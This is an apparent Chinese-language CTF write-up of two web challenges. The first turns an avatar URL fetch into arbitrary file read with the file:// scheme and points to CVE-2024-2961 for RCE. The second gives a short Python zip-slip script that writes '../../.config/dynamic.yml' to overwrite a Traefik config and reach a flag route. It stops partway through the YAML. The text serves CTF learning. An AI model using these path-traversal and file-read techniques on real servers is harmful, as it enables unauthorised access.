gavator
看了半小时真没啥思路,可能是文件上传点,利用图片上传马的一些机制,先注册个号进去看看.
看wp是又学到一手,像这样可以访问url的点,可以通过file协议来实现任意文件读取。
需要注意的是,在upload将file路径上传之后,需要到avatar.php读取
php版本是8.3.4,所以可以考虑这个漏洞,将任意文件读取转换为RCE
CVE-2024-2961
漏洞利用条件:PHP 8.3.4服务器使用的依赖函数iconv()<2.39
总结:在经历一早的报错坐牢后,终于把脚本搞出来了。
在Linux里安装依赖遇到报错时,其实根本没必要到此ai或者搜,大多数时候它会给你解决方案,沉下心看看翻译跟着步骤走就解决了,包括脚本一定要在Linux环境里运行,window会报错,我用的是wsl,在window下开powshell后输wsl就可以了
其次,脚本需要实时调整,使其满足题目的登录和文件访问逻辑,其实主要要改的就是上面图片中的三个函数
traefic
这个题目给的是dockfile,且里面没有端口,所以需要添加两条语句
EXPOSE 80
EXPOSE 8080
接下来在启动时加入-p命令建立
主机端口:容器端口的映射
进来后看到三个路由,先去flag看看
可能要利用本地函数或者SSRF
不知道为什么草稿没保存,懒得再写一遍了
思路就是利用压缩包解压后路径设置,将原本配置文件dynamic.yml覆盖掉,而在自己写到dynamic.yml文件中,写一个flag路由,在其中加上添加中间件x-forwared-for为本地ip的规则,从而访问flag
找了个脚本贴上
import os
import requests
import zipfile
url = "http://ctf.baozongwi.xyz:10002"
zip_filename = r'C:\Users\13664\Desktop\123.zip'
with zipfile.ZipFile(zip_filename, 'a') as zipf:
zipf.write(r'C:\Users\13664\Desktop\dynamic.yml', arcname="../../.config/dynamic.yml")
zipf.close()
res = requests.post(url+"/public/upload", files={
'file': open(zip_filename, 'rb')})
print(res.text)
res = requests.get(url+"/flag")
print(res.text)
os.remove(zip_filename)
http:
services:
proxy:
loadBalancer:
servers:
- url: "http://127.0.0.1:8080"
routers:
index:
rule: Path(`/public/index`)
entrypoints: [web]
service: proxy
upload:
rule: Path(`/public/upload`)
entrypoints